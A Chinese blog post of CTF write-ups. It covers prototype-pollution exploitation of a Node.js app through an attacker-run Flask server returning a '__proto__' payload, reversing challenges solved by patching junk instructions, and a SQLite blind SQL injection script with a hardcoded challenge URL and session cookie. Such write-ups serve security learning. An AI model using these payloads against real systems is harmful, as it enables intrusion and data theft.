NSSRound#3 Team

[NSSRound#3 Team]path_by_path

考察:原型链污染

源码如下

const express = require('express');
const request = require('request');
const bodyParser = require('body-parser');
const { readFileSync } = require('fs');
const { env } = require('process');

const app = express();
const urlencodedParser = bodyParser.urlencoded({extended: false});

let whoami = {
    info: {
        name: env.NAME,
        bio: env.BIO,
    },
    other: {
        intro: env.INTRO
    }
}

app.get('/', (req, res) => {  
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(readFileSync(__filename));
})

app.post('/exec', urlencodedParser, (req, res) => {
    const path = req.body.path;
    const url = new URL(path, 'http://127.0.0.1:5000');
    request.get(url.toString(),{},(e, r, b) => {
        let resp = JSON.parse(b);
        whoami[resp.p][resp.f] = resp[resp.f] ? resp[resp.f] : env[resp.f];
    });
    res.send('');
})

app.get('/whoami', (req, res) => {
    let public = req.query.public;
    public = (public == 'info' || public == 'other') ? public : (whoami.public ? whoami.public : 'info');

    let field = req.query.field;
    field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');

    res.send(`The ${field} is ${whoami[public][field]}`);
})

process.on('uncaughtException',function(err){})


app.listen(8000, '0.0.0.0', () => {})

解释:

1.根路由(GET /):当访问根路由时,服务器返回当前文件的内容。这通过readFileSync(__filename)实现,其中__filename是当前运行脚本的路径。

2.执行路由(POST /exec):这个路由接收一个POST请求,包含一个path参数。这个参数被用来构建一个新的URL,然后向该URL发送GET请求。收到响应后,服务器尝试将响应体解析为JSON,并根据解析结果更新whoami对象的属性。这个过程存在潜在的安全风险,因为它允许外部请求影响服务器状态。

3.查询路由(GET /whoami):这个路由根据查询参数public(值为info或other)和field(值为name、bio或intro)返回相应的信息。如果没有指定,它会使用whoami对象中的默认值。

/exec路由写whoami对象属性

/whoami路由可以读 whoami对象属性

先起个flask服务器,我这里服务器运行环境出错了,只能给下面的解题思路

from flask import Flask, request, jsonify
 
app = Flask(__name__)
 
 
# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "info",
  "f": "FLAG"
})
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里目的是让whoami[info][FLAG]=env[FLAG],把环境变量的FLAG直接写入whoami对象属性

再修改flask源码返回的json

from flask import Flask, request, jsonify
 
app = Flask(__name__)
 
 
# 用于执行的路由,模拟客户端想要访问的URL
@app.route('/', methods=['GET'])
def somepath():
    # 返回一个简单的JSON,模拟客户端代码中期待的响应格式
    return jsonify({
	"p": "__proto__",
  "f": "field",
  "field": "FLAG"
})
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

这里的目的是让whoami.field=FLAG

payload

/whoami?public=info&field=Z3r4y
The ${field} is ${whoami[public][field]}

补全就是 The FLAG is ${whoami[info][FLAG]} => The FLAG is NSSCTF{xxx}

参考:【Web】NSSRound#1-20 Basic 刷题记录(全)_[nssround#13 basic]timetrcer-CSDN博客

[NSSRound#3 Team]jump_by_jump

考察:花指令

ida反汇编出现   jumpout(xxx)   判断是花指令

方法1:View---->>>Open subview------->>>string

 方法2:

发现主函数,出现jumpout,即可判断为花指令

// attributes: thunk
int __cdecl main(int argc, const char **argv, const char **envp)
{
  JUMPOUT(0x411860);
}

 花指令就是一个指令 后面的机器码就是指令的内容 当把内容改掉 反汇编就会错误 导致后面都出错 从而阻止反编译,因此我们要使其正常就需要把错的花指令patch掉就行

花指令的特征

jz

jnz

jz的函数

发现这个地方基本一样

那就是花指令了

然后在jnz的下一行修改字节

将E8修改为90, 点击ok,然后按C得到代码

找到flag

NSSCTF{Jump_b9_jump!}

[NSSRound#3 Team]jump_by_jump_revenge

考察:花指令

32位exe程序

主函数没什么,但是能找到字符串:

这里爆红了,由上一题得知,这又是花指令:

依然是在空行那里nop

然后在主函数的开头按P解析函数再按F5就可以得到反汇编:

这里如果不能反编译出源码的话,看此篇文章:

[推荐]IDA sp-analysis failed 不能F5的 解决方案之(二)-软件逆向-看雪-安全社区|安全招聘|kanxue.com

这样就得到了源码

根据条件 j_strcmp(Str1, "~4G~M:=WV7iX,zlViGmu4?hJ0H-Q*") 可以判断,还原后的 Str1 就是 flag

① 这里采用了余数的特点:
Str1[i] = Str1[i] % 96 + Str1[(i * i + 123) % 21] + 32 或
Str1[i] = Str1[i] % 96 + Str1[(i * i + 123) % 21] - 96 + 32

② 变换得到刚开始未处理过的 Str1[i] 取余后的结果,即:
Str1[i] % 96 = Str1[i] - 32 - Str1[(i * i + 123) % 21] 或
Str1[i] % 96 - 96 = Str1[i] - 32 - Str1[(i * i + 123) % 21]

③ 要得到初始的 Str1[i] 的值,只需将 Str1[i] % 96 或 Str1[i] % 96 - 96 的结果加上 n 个 96,如果加上 n 个 96 后的结果在 32 ~ 127 范围内,那么这个结果就是初始的 Str1[i] 的值

即:只需要将 Str1[i] - 32 - Str1[(i * i + 123) % 21] 的结果加上 n 个 96 即可,取位于 32 ~ 127 之中的结果

脚本:

s=['~','4','G','~','M',':','=','W','V','7','i','X',',','z','l','V','i','G','m','u','4','?','h','J','0','H','-','Q','*']
flag=''
for i in range(28,-1,-1):
    k=(i*i+123)%21
    
    for j in range(3):
        s1=ord(s[i])-0x20+j*0x60-ord(s[k])
        if s1>=33 and s1<=126:
            s[i]=chr(s1)
            break
print(s)
NSSCTF{Jump_b9_jump!_r3V3n9e}

[NSSRound#1 Basic]sql_by_sql

考察:二次注入

1.打开环境,随便注册一个用户。

在修改密码的源码处获得提示

<!-- update user set password='%s' where username='%s'; -->

因此,我们只需要注册一个账户名为admin'--+的用户,结合sql语句就可以做到改admin的密码。

因此更改admin密码登录,登陆后发现可以查询用户id,这里根据用户是否存在存在一个布尔盲注。

在/query下查询

根据fuzz判断这里不是mysql,应该是sqlite注入,exp:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# @Time    : 2022/8/3 21:42
# @Author  : ki10Moc
# @FileName: [NSSRound#1 Basic]sql_by_sql.py
# @Software: PyCharm
# Link: ki10.top


import requests
import string

str = string.ascii_letters + string.digits

url = "http://node4.anna.nssctf.cn:28413/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YklOVg.Pz554uNEiaxxBCpP4pm7-G8iucg'}

if __name__ == "__main__":
    name = ''
    for i in range(0,100):
        char = ''
        for j in str:
            #表+字段
            #payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)
            #数据
            payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
            data = {"id": payload}
            r = s.post(url=url, data=data, headers=headers)
            #print(r.text)
            if "exist" in r.text:
                name += j
                print (j, end='')
                char = j
                break
        if char == '%':
            break

  • 17
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值